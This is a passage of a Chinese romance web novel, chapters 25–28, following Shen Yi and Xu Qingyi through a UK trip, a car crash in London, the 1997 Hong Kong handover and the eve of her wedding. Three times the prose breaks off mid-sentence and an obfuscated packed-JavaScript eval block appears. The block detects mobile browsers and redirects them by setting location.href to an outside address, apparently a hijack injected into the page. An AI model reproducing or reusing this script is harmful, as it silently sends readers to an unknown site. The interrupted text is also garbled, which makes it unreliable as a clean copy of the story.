在曼城的火车站吃到了梦寐以求的烤冷面,距离火车启动只有几分钟,沈翌看见不远处竟然有卖糖火烧,于是他跑了好远去给她买。 一口咬下去,好像又回到了五年前的黎江市,那段两个人肩并着肩坐在阿婆的小店里聊天的日子。 “后来阿婆怎么样了?”沈翌忽然问道。 “据说她的孩子们想带她去北边,她不乐意,现在还在那里住着。” 在阿伯丁出发的轮渡甲板上看过一场美得惊心动魄的日出,金黄色的太阳从海平面上缓缓升起,整个海面都泛着刺眼的光。 在她出神的时间里,沈翌从身后走过来为她披上一件棉袄,一转身就可以看见他的侧脸。 坚毅锋利的线条和记忆中那个小小的男孩子相重合。 那时候的他为了未来茫然无措,现在的他站在行业的最中心。 她这才惊觉他们竟然已经相伴走过了二十多年。 小岛的最南端有一座灯塔,徐清旖有文艺病,非要去看一看夜里灯光的转向。 沈翌由着她乱来,即使是被裹上一层又一层,忽如其来的一场大雪还是冻得他们浑身发抖。 他给她拍下一张又傻又二的照片,然后牵着她的手回到那家民宿里生火取暖。 老板以为他们是来旅行的中国恋人,推荐他们在下个月去芬兰的赫尔辛基,他说运气好的话可以看见极光。 “极光下许的愿望,一定会实现的。”他眨着眼睛朝他们笑。 沈翌笑着对老板点头。 在圣安的街头吃到了世界上很老牌的冰淇凌,徐清旖点了好几种口味,当晚又因为肚子疼吃了几片止疼药。 沈翌陪着她整夜没睡。 半夜徐清旖从梦中惊醒,正好遇上沈翌起来倒水喝,她眨着眼睛看了一会儿,感觉到有很热的液体在眼眶里打转。 她问他:“有没有觉得很熟悉?那年在拉萨最后也是这样,你守着我过了一夜。” 沈翌轻笑,不置一词。 徐清旖还在说话,“好像每一次出状况的都是我。” 其实在徐清旖来英国之前,沈翌已经焦虑了很久了,夜里总是睡不着觉,心悸得厉害。 白天他在药店买了褪黑素,可仍然没什么作用。 “沈翌,其实……”她很想坦白,被沈翌打断。 夜里的灯光很暗,但她看见他喉结轻动,“不要说。” “清旖,什么也别说。” 在格拉斯哥的同一片牧场旁边,徐清旖拍了同款照片,弯着腰像是模仿大人拍照的调皮小孩。 她坐在长椅上,沈翌喊她的名字,微微侧头却再也没有了当初的那种惊愕。 路过格大的时候,她还感叹过一句“当年没有出来留学真是遗憾。” 一边说一边把手比作一个拳头放在沈翌的面前。 “这位先生,哦不,这位尊敬的斯坦福大学毕业的高材生,请问在国外留学的日子是不是很快乐啊?” 沈翌朝她开玩笑一般地点头,忽然想起来最后在旧金山的那段时光。 有天夜里他从图书馆走出来,夜深人静,一抬头就看见那轮又大又圆的月亮挂在天上。 露从今夜白,月是故乡明。 其实那是他最孤独的一段日子。 25. 意外时 他们在伯明翰取回租的车子,回程经过牛津的路上,徐清旖开始给他唱那首《天才白痴梦》。 “我后来学了好久,觉得自己果然是老了,以前学得多快啊。”她撇着嘴说:“那句话怎么说的?流光容易把人抛,红了樱桃,绿了芭蕉。” “这么文艺。”沈翌笑着说:“那你下次……” 下一秒,车辆前方传来“滋”的一声,汽车左偏撞上了马路一侧。 等到徐清旖回过神来,沈翌已经下车检查了一遍,然后站在窗户口,两手撑在腰侧,一脸无奈,“爆胎了。” 等待的间隙,有一辆贴着“救援”标志的车开了过来询问情况,交流过后才知道对方是刚好路过这个小镇的巡查队。 得知前因后果,他们在车的前后方分别放一块写着“Slow(慢)”的标志,然后又帮助沈翌和在伦敦的租车行联系,老板告诉沈翌修理工会在一个小时之内到达,让他先在车内稍作等待。 沈翌熟练的和对方沟通着之后的相关事宜,徐清旖站在他身边,忽然想起来读高中时有一次也是这样。 但那时的沈翌还很稚嫩,作为班长面对着前面节目的失误,仍旧滴水不漏的与文艺部的老师争取更多的表演时间。 对方朝他们挥了挥手离开,沈翌便回头问她:“就在这儿等着?还是找个餐厅吃饭?” 徐清旖不语,若有所指地看了眼周围,意思这附近大概难找餐厅。 经过这阵插曲,原本就只有一点点的困意也瞬间全无,她从后座上搬来零食和沈翌一边吃一边聊天。 “我们每次出门,是不是都会碰上在车里等着的时候?” “能安静聊会儿。”沈翌把一瓶酸奶递给她,“没买牛奶?” “你不是不喝吗?就只买了这个。” 沈翌自己拿了瓶打开,“没前几天格拉斯哥的那个好喝。” “那能一样吗?”徐清旖笑了笑,“怎么在英国待了两年嘴还变挑了?” “没办法啊,总要在国外找点存在感。” 沉默下来,徐清旖忽然说:“你还记得吗?那年在拉萨,我给你看手相,我说你爱情运很好,那是真的,你可以去追那个女孩。” 这里的天气又开始阴雨绵绵。 他说:“我不信那些。” 又说:“那是骗人的。” 他很喜欢聂鲁达的诗歌,在美国他读到英文译文的初版,沈翌很喜欢其中一首,也是世人所广为称赞的。 聂鲁达写:“在我这片贫瘠的土地上,你是最后的玫瑰。” 徐清旖曾经和他坐在长排楼的天台看书,读到这里的时候,她回过头和沈翌说:“好浪漫。” 于是沈翌不解风情地开始和她科普聂鲁达是谁、哪国人…… 听得徐清旖直接打断他的话,“你怎么不和我讲玫瑰的种植方法呢?” 沈翌一愣,“你喜欢玫瑰?” 徐清旖板着脸,故意逗他,“对啊,我喜欢玫瑰,以后结婚的时候,你记得送给我玫瑰花。” 沈翌认真点头,“好。” 想到这里,他没忍住轻笑一声,发觉徐清旖正望着远处的小房子,那里有流浪的艺人,有滑滑板的年轻男孩。 毫无预兆,他听见她说:“沈翌,我要结婚了。” - 李安只在伦敦待了三天就去中国找徐清旖了,他的继母向来不待见他,他也不愿意在那里多花费时间。 等到回国之后,才听肖珩说徐清旖打了电话要休年假,说是遇见了很重要的事。 李安又给母亲打电话,问她是否还在爱尔兰。 母亲却告诉他,那个女孩在他走后的第二天就启程去了伦敦,当时她还以为是去找李安。 他想到了沈翌,前段时间听说他也在伦敦。 他在徐老师那里要到了沈翌的联系电话,李安欺骗对面的人说他是沈翌的好友,现在却怎么也联系不上他。 于是那个人告诉他实情,说沈翌出了车祸,现在正在医院里。 车祸是在去机场的路上发生的,一辆大型的卡车从侧面冲过来,为了保护徐清旖,沈翌在最后一瞬间作出反应,他打死方向盘,用驾驶座的这一侧抵了上去。 那一天伦敦城的乌云压得很低,绵密的小雨轻轻敲打着车窗,雨刷器擦拭着挡风玻璃上的雨水,一遍一遍,不厌其烦。 沈翌手握着方向盘,另一只手的手肘微微弯曲抵在车门边,手指指节一下一下地按压太阳穴。 雨声变得急促起来,或许是飘过了一片更大的乌云。 徐清旖偏偏头,看了看沈翌的侧脸,他抿着唇,眉间微微蹙着。 她忽然想起来很久之前自己也曾这样看过他无数次,那时他也会有这样的表情。 不过以前是面对难解的数学题,现在是面对雨中拥挤的伦敦交通。 “飞机可能会延误。” 徐清旖眨眨眼睛,移开视线,闷着嗓子,“没关系,还很早。” 沈翌收回支在窗边的手肘,轻轻搭在方向盘上。前面的车流还没有移动的迹象。 他往后靠,左手伸进椅背后的大衣口袋里摸了摸,最后又什么也没拿出来。 他叹了口气,问徐清旖:“延误的话,我们去吃顿饭吧?” 徐清旖牵着嘴角笑了笑,点点头又像是想起来什么一样,“你不是还要去上班?” 她的视线落在沈翌穿的西服上,熨烫得十分整齐,俨然一副社会精英的模样。 “没事。” 沈翌摇摇头,“我太久没吃过中餐了,机场那边新开了一家中餐店,据说很正宗,你陪我去试一试吧。” 车流好不容易动了动,沈翌跟了上去。 机场路并不在市区,但或许是下雨的原因,平时只要半小时的车程,现在已经过去了快四十分钟。 “婚礼的时候,记得通知我,我会回来。” 沈翌目不斜视,眼神专注地盯着前面的道路。 徐清旖张了张嘴,欲言又止,最后还是说:“如果太麻烦的话……” “不会。”沈翌打断她。 快到目的地时,雨点更密地砸下来。 沈翌在餐馆门口找了一处停车位,走到桌前看了一眼手表,“还来得及。” 邻桌有两个英国男人气愤地讨论着飞机延误,徐清旖朝他笑了笑,“看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389900|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们猜对了。” 这家小餐馆人流量并不大,沈翌其实没有听谁说过这里的味道很正宗。 他的同事都是英国人,也根本没有吃过正宗的中国菜,只是忽然想起来以前送一个客户,碰巧知道了这里新上了东方菜系。 他想要和徐清旖多待一会儿,最后一次。 “我记得你很喜欢吃这个。”徐清旖说:“鱼香茄子,还有煎土豆。” 胡编的正宗中国餐馆没有筷子,徐清旖捏着叉子给他选了一块土豆。 “尝尝,和我妈做的有什么差别?” 很咸。 沈翌没回答,问她:“要换一家店吗?” 徐清旖收起笑容,“这附近也没别的店了,就吃这个吧。” 放多了盐的土豆,被过分酸的茄子裹着放进嘴里。 没有米饭,两人一人点了一份意大利面,沈翌食不知味,嚼着嚼着笑出了声。 徐清旖也被他感染,莫名其妙地笑了起来。 邻桌两个英国人频频看向他们,沈翌擦了一下嘴角和他们说抱歉,然后捂住前额无声地笑。 “我没想过是这个味道。” “你那位说这里味道不错的同事,口味挺重。”徐清旖说。 沈翌笑出了眼泪。 两人随便吃了几口面之后就准备离开,看见沈翌将刚放好的钥匙重新拿出来,徐清旖问他:“还要开车吗?” “嗯,有点距离,雨下挺大的。” 从小餐馆开车至机场还有一段路,路上徐清旖和他搭话,“你还会自己做饭吗?” 沈翌愣了愣,听见她解释道:“忽然想起来上一次在阿伯丁吃饭,你握筷子的方式不像是在国外生活了近五年的人。” 徐清旖指了指他的右手,沈翌点点头,“不太习惯这边的饮食,只要有时间就会自己做。” “真好。”徐清旖笑着说:“我还是学不会做饭。” 沈翌看了她一眼,他的瞳色黝黑,像是沉着一潭平静的水。 “喜欢就学,不喜欢就算了。” 徐清旖时常觉得,她和沈翌的人生就像是一张破洞百出的网。 在外界的风雨中飘摇欲坠,却又始终靠着一根残破的丝线紧紧相连。 “沈翌,对自己好一点。” 沈翌绷着嘴角,没有看她,自言自语一般地问了一句:“什么是好一点?” “你一个人在英国,照顾好自己。” 徐清旖说:“好好吃饭,好好睡觉,不要总是加班,累了就休息,难过了就找人说说话。” “找人说说话。”沈翌声音很轻地重复。 “可以找我。”她说:“如果你愿意的话。” “清旖。”沈翌叫她的名字,“其实……” 他的声音忽然被截断,一辆大货车歪着车身向他们冲过来,杂乱的喇叭声尖锐又慌张地划破了雨幕下的伦敦郊区。 沈翌几乎是下意识地将方向盘向一侧打死,在最紧急的时候,调转方向避免了大面积的冲撞。 一瞬间发生了太多事,雨声和刺耳的喇叭声交织在一起,徐清旖甚至还来不及作出反应,意识就已经陷入模糊。 26. 南柯梦 徐清旖醒过来时,沈翌仍处于昏迷中没有脱离生命危险。 没多久有一个男人来探望,他自我介绍说叫作“孟晨”。 徐清旖听说过他,是沈翌的同事。 等到下午,李安也从中国赶了回来,他看着徐清旖,一句话也没有说,只是敞开怀抱任由她哭泣。 孟晨去年和旧金山分部新调来的负责人产生了意见分歧,两人相看生厌,干脆开始申请调来伦敦。 调令还没有正式下来,但昨天听说沈翌出了车祸,他直接请了年假急急忙忙赶过来。 他们是多年的好友,彼此扶持着一步步在陌生的国度、陌生的行业逐渐成长为年轻人中最顶尖的那一批工程师。 从培训时期他就知道,沈翌在中国有一个喜欢的人,但每一次问起来时他都只说是朋友。 所以后来孟晨会有意撮合刘语潇和他,一方面是因为那女孩喜欢沈翌,大家都看得明明白白。 另一方面也是因为他太苦了,爱得太卑微是不公平的。 更何况这个人是沈翌,他认真当作是弟弟去关心的人。 当年有一次和沈翌吃饭,那晚他喝醉了,和孟晨说了很多话,那是他第一次正面提起徐清旖。 从年少的初相识,到黎江市的再见面,从拉萨的念青山,又到南城的青龙寺。 讲到最后,连沈翌自己都忍不住感叹:“为什么我不敢告诉她我喜欢她呢?” 孟晨给他递烟,顺着他的话问:“对啊,为什么呢?” 沈翌摇摇手拒绝,“因为我自卑。” 孟晨气得要死,将烟收回来,恨铁不成钢一般。 “你自卑?斯坦福大学让你自卑?跟着诺贝尔奖的教授做研究让你自卑?还是年仅25岁的电子工程师这个身份让你自卑?” “你到底哪里配不上她?不就是当年觉得自己眼界窄吗?” 孟晨将手里的烟狠狠吸了一口,扔在地上用脚踩灭。 “没有去成清华又不是你的错,如果你是在我年轻的时候遇见我,那我非揍你一顿不可。” 沈翌闻言也没有生气,只是笑了笑,然后举起手中的酒瓶朝他扬了扬。 “你不知道,这些虚名,还不如陪在她身边亲口说一句生日快乐。” 经历了多年异国恋的孟晨冷静下来,抿抿唇,“也是。” “再等等吧,等我回国,能够给她完整的承诺的时候,我就告诉她。” 所以孟晨对徐清旖和李安有莫名的敌意。 在重症监护室的玻璃窗前,他冷笑了一声出言讽刺。 “如果你们是在表现大难不死之后重逢的喜悦的话,大可以出门右转,我来的时候看见那里有一家酒店。” 他又看向李安,怕他听不懂似的,补充一句,“hotel” 徐清旖拦住了李安向前的动作,摇了摇头说“抱歉”,然后询问他是否是沈翌在美国的朋友。 孟晨靠在墙边。 “对,从旧金山千里迢迢赶过来的。短时间内不会走。如果你想要和你的男朋友离开的话,可以随意。” 徐清旖装作没听见他话中的讽刺,只当是因为自己才导致了这场意外,所以对方心里有气。 她可以理解。 况且沈翌虽然已经没有生命危险,但仍旧昏迷不醒,她不愿意和他争吵。 - 沈翌是在转入普通病房之后两天醒来的。 孟晨去外面买饭,徐清旖在病房里守着。 李安私下里和她提过几次回国,他说反正孟晨在这里,既然他能够照顾好一切,那为什么徐清旖不能先行离开。 她拒绝了李安。 李安对沈翌一直有敌意,但现在在她看来,自己和沈翌只是最普通的朋友,所以也不愿意和他解释过多。 孟晨回来时,沈翌的意识已经清醒了不少,状态也不算差,只是脑内的血块和做手术时的麻药导致了昏迷。 他也没有想到会在这里看见孟晨,想了好一会儿才笑着问对方是不是长胖了。 孟晨埋怨他,“明明答应了要注意安全的,结果再见面你竟然是这副不人不鬼的样子。” 沈翌让他好好讲话,自己现在是病人,这句话说的不吉利。 孟晨赶紧“呸呸呸”了好几声。 徐清旖在旁边插不上话,只是静静地看着他们,沈翌转过头来看向她,“别担心,我没什么事。” “她怎么会担心?人家和男朋友在你的病床面前你侬我侬的……”孟晨撇着嘴。 沈翌怔了怔,下意识问:“李安来了?” “嗯。”徐清旖点了点头,不知道该说什么。 公司晚上还要开一个会,徐清旖一定要先在这边待到十一点左右,等孟晨回来了再去酒店好好休息。 本来她想直接在医院将就一晚,但是沈翌说她眼里红血丝太多,必须要回去。 “心疼她不心疼我呗。”孟晨懒洋洋地靠在沙发上。 沈翌笑着说:“那你也别来了。” “别这样,我可不是这种人。” 过了几天,李安过来找徐清旖。 看见沈翌醒了的时候好像很惊讶,问他:“身体恢复得怎么样?” 沈翌朝他点点头,“挺好的,麻烦你了。” “别,我也没有照顾你。” 他找了个凳子坐下,有护士来敲门,让人去确认一下沈翌要换的药,于是徐清旖跟着她离开了。 病房里沉默了许久,李安忽然开口,“你知道我们要结婚了吧?” 沈翌没说话,他直视着李安,在等待他继续讲。 “其实你一直给我很大危机感的,你们从小一起长大,Yi,她很在乎你。” 说着仿佛想起来他们俩的英文名是同一个,又笑了笑,“但既然这么多年你们都没有在一起,一定是不喜欢吧?” “不过还是要谢谢你,把她让给我。”他说:“我们在中国的婚期定在明年七月,因为她想要穿漂亮的裙子,欢迎你来参加。” “没有让不让的,都是清旖自己的选择。”沈翌强迫自己冷静下来,“对她好一点,无论你认为我是以哪一种身份,这就是我必须要说的。” 沈翌常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389901|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常觉得外国人幼稚,面对李安也是这样的感觉,像是小孩拿着一把尖刀四处乱扔,而他是个成熟的大人,会自己去躲避。 但是这一次刀背却将他割伤,五脏六腑,疼得他死去活来。 - 孟晨最后还是拗不过沈翌,从自己的万宝路烟盒里抽出一杆烟递给他,一边递一边警告,“只能一根啊,多了不给。” 沈翌无奈点头,从他的另一只手里拿过火机,为了避开烟雾警报,和他一起窝在病房的阳台上偷偷抽。 伦敦的夜晚比旧金山繁华得多,当年的日不落帝国在这里仿佛风韵犹存,好像它仍旧是世界第一城。 “你知道万宝路的故事吗?”沈翌问他,他是在一个抽烟的同事那里听来的。 “那个恶俗的英文故事?”孟晨问。 “不恶俗。” 沈翌学东西很快,这副样子完全不像是第一次吸烟,他甚至还伸出手指在烟杆上点了点来掸走烟灰。 “Marlboro(万宝路)” “ManAlwaysRememberLoveBecauseOfRomanceOnly(人们永远因为浪漫铭记这份爱)” 沈翌抬了抬头,城市的灯光太亮,所以他无法看见星星。 他的声音不大,孟晨却听得很清楚。 他说:“我也是。” 他曾无数次望向太平洋,最后又一个人沿着海岸线走回旧金山家中。 也曾经在雨中的伦敦奔跑,目的地是一家他每天上班都会路过的COSTA,在那之前他从未想过有一天她会出现在那里。 这一年他知道她找到了人生的另一半,却瞒着自己不去想,也不允许她说出来。 从未那样固执过,拉着徐清旖去完成他们年轻时候的约定。 他们曾经一起在设得兰群岛上的步行街边吃着炸鱼和薯条等雨停,在英国的最北端喝过一肚子的风,看见了海豹,还参观了维京人的船。 也曾经在前往勒威克的轮船上点过一首不合时宜的《WinterWonderland》,牵着手在甲板上跳了一夜乱七八糟的舞。 在民宿里生火取暖,听老板说从哥本哈根,到赫尔辛基或者斯塔万格都可以看见极光。 异国的数年就像是一场梦,感觉好像经历了太多的事,一回头却发现真正在一起的时光,其实只有寥寥的画面。 后来在牛津城外的越野车里,徐清旖说:“我要结婚了。” 所以梦醒了。 沈翌仰了仰头靠在阳台墙边,他已经很多年没有哭过,眼睛红了一圈,湿意逐渐漫上来。 病房内的灯光漏出来,淡淡的一点落在他的额头,白烟升起,又辗转熏过他的眼睫而后微微颤抖。 孟晨想要安慰他,却听见他声音沙哑,声音很小地说:“都结束了。” 许冠杰在《天才白痴梦》里唱到:“片刻春风得意,未知景物朦胧。” 南柯长梦,他所失去的、追逐的、得到的,究竟是否在某一刻真的平衡过? 前程茫茫,此刻他又到底身在何处? 27. 新纪元 1997年5月,香港回归祖国的前夕,距离徐清旖从伦敦回国已经过去了七个多月。 孟晨最后还是留在了英国,他和女友的婚期定在今年下半年。 提起这件事的时候,还笑着对沈翌说:“没想过这么巧。” 他比沈翌年长五岁,年初刚过了32岁生日。 他在国外耗费了将近六年的时间,所以他的家人催他在年底的时候回国把婚结了。 “结婚是一件很繁琐的事,你应该提前回去,而不是让嫂子一个人解决一切。” 此时他们正在剑桥大学,他们公司即将向这个学校提供一批影像设备。 “我本来说的是明年回去结婚,只有一年就可以回国了。” 孟晨说完看了看远处草坪上谈恋爱的学生,他们抱着书靠在一起,身后还停着两只不知名的小鸟。 他问道:“到时候你想去哪里?” “还不能太确定,你呢?” 沈翌戴着一副眼镜,车祸对他的视力多少有些影响,工作时需要镜片才能更精准地捕捉对象。 “我想回上海,不过只有一个名额,我不一定能成功。” “嗯……” 沈翌抿了抿唇,他知道孟晨的家就在上海,所以他想回去是必然的,“我去香港吧。” “香港?” 孟晨十分震惊,“下半年才回归,而且那边的工作可能不太好做,本地人对我们可能会抵触。” 他反应过来,“等等,不是,你不会是为了给我让名额吧?少来啊沈翌,我去不了上海就不去,分开这么多年了,几万公里的距离都过来了,在中国还能跑了不成?” “别想太多,不是为了你。” 沈翌忍不住开玩笑和他呛,“我不申请,你就一定能行?上海啊,那可是块宝地。” “哎,我说你这人……” 孟晨瞪大双眼,看见沈翌笑得越发开心往教学楼走。 他们随便找了间教室从后门溜了进去,讲台上花白了头发的女教授正在给学生们解析试题。 “不回公司吗?”孟晨压着嗓子问。 “回忆一下青春。” 沈翌从他的包里拿出来两支笔和两张纸,递给他,“来比赛,下一题谁没写出来,下周谁就去诺丁汉谈合作。” “你可是越来越狡猾了啊。”孟晨接过来,“比就比,谁怕谁。” 教授将下一题写在黑板上,是关于复变函数与积分变换的问题。 沈翌读研究生时看见过一道类似的题目,迅速算出答案后,转头看了一眼孟晨的进度,他正卡在第四个步骤没写出下一步。 “再讨一次可导性。”他说。 孟晨按照他的说法又做了一次,果然得出一个答案。 “行,我心服口服。” 孟晨看了一眼周围,老教授是一名中国女性,她正一边看时间,一边等待学生的结果。 “有人算出答案了吗?”教授问。 沈翌一只手撑着脑袋,盯着前面出神。 “Here!” 孟晨拉过他的手举起来,显然在报去诺丁汉的“仇”,沈翌晃了晃神,在教授看过来的时候,拿着草稿纸站了起来。 她看起来对沈翌十分满意,惊叹着问了一句:“中国人?” 沈翌笑着用中文念出了自己的答案。 然后又用英文重复一遍。 教授欣赏地点点头,开口询问他是否能讲一遍计算过程。 - 课程结束后,老师邀请他们去办公室,她的年纪已经很大,走路的时候需要佝偻着腰。 其实沈翌早就认出来,这位教授在数学界十分有名,她也是剑桥学院前几年唯一一位被授予终生荣誉教授头衔的亚裔女性。 “你们不是我的学生。” 教授笑眯眯地递给他们一盒自制的糕点,“尝一尝,孩子们都很喜欢吃这个。” 孟晨拿了一块,尝过之后睁大眼睛,“教授,您是不是上海人?您做的甜糕和我奶奶当年做的味道一模一样!” “我是苏州人。”她说:“不过我和我的丈夫是在上海遇见的。” “他也在剑桥吗?”孟晨问。 “他已经去世了,不过他生前是天文系的老师。” 沈翌咽下嘴里的甜糕,忽然像是想起什么似的,“您认识我的老师吗?” “他的名字是?” 沈翌说出一个名字,是他在斯坦福读研究生时候的导师。 面前的老教授笑着点点头,“原来你是他的学生。” “他的身体怎么样?”她问。 “他一切都好,我从美国过来的时候,是他告诉我有一位天文系教授的太太,会在大雪初霁的时候卖甜糕,但他没有告诉我会是您。” “如果有机会你记得提醒他,下一次介绍我的时候直说我的名字,可能会比‘天文系教授的太太’更容易让人反应过来他说的是谁。” 沈翌一口答应。 “年纪大啦!” 教授喝了一口保温杯里的白水,指了指他们,“卖甜糕都是我丈夫年轻时候的事了,我现在也卖不了了。” 后来她还问他们来剑桥做什么,听说过后又对他们说:“剑桥的风景很美,工作之余,希望你们好好享受这趟旅行。” 沈翌记得那一天的阳光很好,它们透过校园里百年老树的枝叶虚虚落在自己的肩上。 他在一片橙黄里揉了揉眼,仿佛看见了自己老去的样子。 - 6月30日,举世瞩目的中英两国政府香港政权交接仪式,在香港会议展览中心举行。 沈翌和孟晨,还有公司另外几个关系还不错的中国人,下班后一起来到沈翌租的房子里,煮了一桌火锅一起看交接仪式的重播。 库珀装了假肢,最开始扶着拐杖还不习惯,现在几乎已经来去自如了。 他给沈翌他们送酒,这两年全靠沈翌,他的倾诉欲才真正得到了满足。 孟晨邀请他一起聚会,库珀摇头说:“你们需要庆祝。” 闻言,他哈哈大笑,回应着说下次再聚。 沈翌还是逃不过烟瘾的魔咒,看了眼时间,从盒子里又取了一根出来叼在嘴边,站在窗边打了两下火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389902|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才发现已经不能用了。 他想起来孟晨上半年过生日给自己买了一个Zippo的打火机,奢侈得要命。 沈翌走过去朝他借火,孟晨摸了半天才递给他,还不忘记嘱咐他,“少抽点。” 点燃之后,沈翌把打火机还回去,然后伸出手将嘴边的烟取下来夹在手里。 他眯着眼睛笑了笑,想到当年在旧金山劝自己抽烟的孟晨,“当初不是你要让我学吗?” “早知道你会染上瘾,我才不会那样说。” 孟晨看着他往那边走,将一片青菜放进锅里,不忘招呼他,“快点来吃,不然只能吃辣了啊。” 沈翌靠在窗边往外望,白天伦敦又下了一场雨。 他想起来福尔摩斯,那位爱抽烟的大侦探,他是不是也喜欢这样靠在自己的窗边,一回头就可以看见伦敦那些尖顶的建筑。 伦敦。雾都。 神秘又迷人。 沈翌望着幽深的夜色,又在心里否认:不,也没那么迷人。 电视里查尔斯王子的讲话已经接近尾声,沈翌听见他的声音。 “Distinguishedguests,LadiesandGentlemen,IshouldlikeonbehalfofHerMajestyTheQueenandoftheentireBritishpeopletoexpressourthanks,admiration,affectionandgoodwishestoallthepeopleofHongKong,whohavebeensuchstaunchandspecialfriendsoversomanygenerations.Weshallnotetyou,andweshallwatchwiththeclosestinterestasyouembarkonthisneweraofyourremarkablehistory.” (“各位尊敬的嘉宾,女士们,先生们,我谨代表女皇陛下与全英国人民,向全体香港市民表达我们的感谢、敬佩、情谊和友好的祝愿。多少世代以来,你们都是我们的良朋挚友。我们不会忘记大家,同时,我们还将以最关切的目光,投向你们不凡的历史上即将开启的新纪元。”) 交接仪式正式开始,“米字旗”和香港旗在英国国歌乐曲声中徐徐落下。 北京时间7月1日零点整,中华人民共和国国旗和香港特别行政区区旗,在振奋人心的义勇军进行曲中,缓缓升起。 鲜艳的五星红旗和绽放的紫荆花图案飘扬在香港上空,标志着英国人在香港这片土地上的殖民统治正式结束。 孟晨他们激动地欢呼出声,反应过来又偷偷捂住嘴小声庆祝。 英国的伦敦寂静得出奇,沈翌的眼睛感觉到一片湿润。 他想,在遥远的中国、中国香港,那里必定是歌舞升腾、热闹非凡。 正如查尔斯王子所说,这是中国历史上的新纪元。 漂泊的游子回家了,他又什么时候才能回到祖国呢? 28. 雪满头 徐清旖的婚期定在7月的最后一天。 沈翌在29日的早晨搭乘飞往中国香港的飞机,在30日的中午到达了南城新建的机场。 她和当年一样,一个人举着那块硬纸板和一大束鲜花来迎接他。 沈翌说:“这块纸板还留着呢?” “当然。” 她把手里的鲜花递给沈翌,“等你什么时候回国了我再扔掉,否则你以后每一次回来,我都带着它去迎接你。” 徐清旖把头发剪到肩膀上一点的位置,沈翌打量着她,想伸手又收了回来。 然后问:“不是要做造型?头发剪了怎么做?” “不做了呗,这个长度最方便。” 她拢着头发说完就推着沈翌快走。 徐清旖的时间很少,李安的客人不多,但多少还是有几个人。 明天就是婚礼,今晚他们还要一起吃顿饭。 沈爷爷不知道他什么时候回来,这时候应该在外边和别人下象棋。 沈翌去了客厅给万师傅打电话,说自己没有经过黎江市,等到过两天走时再去看他。 万师傅没有不高兴,只是问他这时候回来做什么。 沈翌顿了顿,然后说:“清旖她结婚了。” “和那个外国男人?” “嗯。” 沈翌算了算时间,“他们是工作的时候认识的,到现在也有六年多了。” 万师傅若有所思地点了点头,想起来对方根本看不见,于是问:“什么时候过来?” “后天吧,婚礼结束我就要走。” 他笑了笑,眼里莫名的有些发酸,“不是很想留在这里。” “好,你过来,师父带你好好玩两天。” 沈爷爷回来时提着一条鱼和一个很大的袋子,推开门看见沈翌,伸手把鱼递给他。 沈翌拎着鱼去厨房找到水桶,将它放进去之后洗了洗手。 “去哪里了?”他问。 “我猜你快回来了,去市场买点菜给你。” 爷爷笑眯眯地说:“爷爷呀,今晚给你做好吃的。” 沈翌点点头,他已经很多年没吃过沈爷爷做的饭了。 等待的间隙,他想要帮忙打下手,却被沈爷爷拄着拐杖赶了出来。 沈翌无奈,便在家里四处转悠,从进门的横梁开始,到卧室重新漆过的圆柱。 这里的历史已经很久了。 从小时候记忆里的老房子,到现在盖过新瓦、加固了水泥的小屋。 沈翌曾经提过很多次买房的事,沈爷爷却总是说没必要。 他说沈翌年轻,未来不会在南城生活,自己一个老人家在这个房子够住了。 “我马上就八十了,谁知道还活得了几年呢?”爷爷这样说。 沈翌皱了皱眉,否认他的话,“您别乱讲。” “好好好,不说。” 沈爷爷常年笑着,他是这一片最受小孩子喜欢的人。 以前他是一名教书先生,学识广博,沈翌打小起就听他讲历史,也算是沈翌的启蒙老师。 沈爷爷招呼着说“饭好咯”,沈翌坐在桌子前,发现这些都是自己以前最爱吃的菜。 “尝尝这个。” 这是盐煎土豆。 土豆放入水中焖煮过后去皮捣碎,然后放进锅里用小火煎至两面金黄,最后再撒上盐和葱花。 沈翌拿过筷子接过来咬了一口,眼里酸涩,惊觉爷爷大概是将糖当作盐放了许多。 沉默了一瞬间,点点头,“好吃。” 沈爷爷将他看了又看,慢慢地放下筷子,喝了一口沈翌泡的茶。 “小翌啊。”爷爷的头发全白,脸上的皮肤很松弛,但看起来还是精神极好。 沈翌埋着头,吃了一口土豆片,“嗯”了一声。 “我老了。” 他叹了一口气,“最放心不下的就是你。” “你爸爸走的时候,你只有那么小,现在却长到了这么大。你很聪明,我早就看出来了,和你一起出生的很多孩子还不会吐字的时候,你就已经会说很多词了。” 爷爷靠在椅背上,他看着沈翌。 “你懂事得早,什么事都自己扛,可是我不希望啊。我想要你愿意去讲出来,你和清旖那丫头也是,本来我和你们徐老师都以为你们可以走在一起,可是没想到……” “爷爷。”沈翌张了张嘴,还是什么也没有说。 